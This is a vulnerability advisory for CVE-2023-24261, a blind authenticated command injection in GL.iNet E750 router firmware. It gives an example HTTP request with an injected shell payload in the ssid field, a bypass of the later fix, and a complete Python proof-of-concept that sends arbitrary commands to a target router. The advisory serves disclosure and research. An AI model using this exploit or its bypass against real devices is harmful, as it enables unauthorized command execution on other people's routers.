CVE-2023-24261: GL-E750 Blind Authenticated Command Injection


CVE-2023-24261: GL-E750 Blind Authenticated Command Injection

  • CVSS Score - 8.4, High (CVSS:3.0/AV:A/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)
  • Overview - The value of the ssid parameter in an authenticated POST request to /cgi-bin/api/ap/enable is piped directly into a command (no output is received). This only affects model E750 of the GL.iNET routers, and the user must have admin access to run the command. Affected firmware version is <= 3.215. The command cannot be longer than 46 characters. Example request below:
1
2
3
4
5
6
7
POST /cgi-bin/api/ap/enable HTTP/1.1
Host: 192.168.8.1
Authorization: 80dafe40822e4a59b6daabd659617963
Connection: close
Content-Length: 60

id=3&enable=false&ssid=';touch+/tmp/command_injection;echo+'
  • Description - The ap_enalbe_v2 function in the /www/api binary (located at 0x4258dc) handles all requests made to /cgi-bin/api/ap/enable. If the model name is e750, then the ssid parameter from the HTTP request is piped directly into the command e750-mcu '%s %s';sleep 1;killall -16 e750-mcu, meaning a payload such as ';touch+/tmp/command_injection;echo+' would result in the command e750-mcu '';touch /tmp/command_injection;echo ' a';sleep 1;killall -16 e750-mcu being run.
  • Steps to reproduce - run the Proof of Concept below using python3 exploit.py <domain/IP> <authtoken> "<command>", such as python3 exploit.py 192.168.8.1 80dafe40822e4a59b6daabd659617963 "touch /tmp/gl_token_legoclones"

Note - a request has been sent to MITRE to publish the reserved CVE

Fix

This vulnerability was “fixed” in 3.216, but can easily be bypassed. Instead, you just set the actual name of an Access Point to the command injection payload, and then send a request to /api/ap/enable with the right index and it will work.

PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import requests, sys
import urllib.parse
import warnings
warnings.filterwarnings("ignore")


## Get arguments
if (len(sys.argv) < 3):
print("Usage: python3 exploit.py <domain/IP> <authtoken> \"<command>\"")
sys.exit(1)

url = sys.argv[1]
token = sys.argv[2]
command = sys.argv[3]


## Check command length
if len(command) >= 46:
print("Command too long")
sys.exit(1)


## Send request
data = "id=37&enable=false&ssid=';"+urllib.parse.quote_plus(command)+";echo+'"
headers = {'Authorization': token}
response = requests.request("POST", "https://"+url+"/cgi-bin/api/ap/enable", verify=False, timeout=4, data=data, headers=headers)


## Check response
try:
code = response.json()['code']
if code == -1:
print("[-] Auth token invalid")
elif code == 0:
print("[+] Command executed")
else:
sys.exit(1)
except:
print("[-] Machine not vulnerable, error was encountered")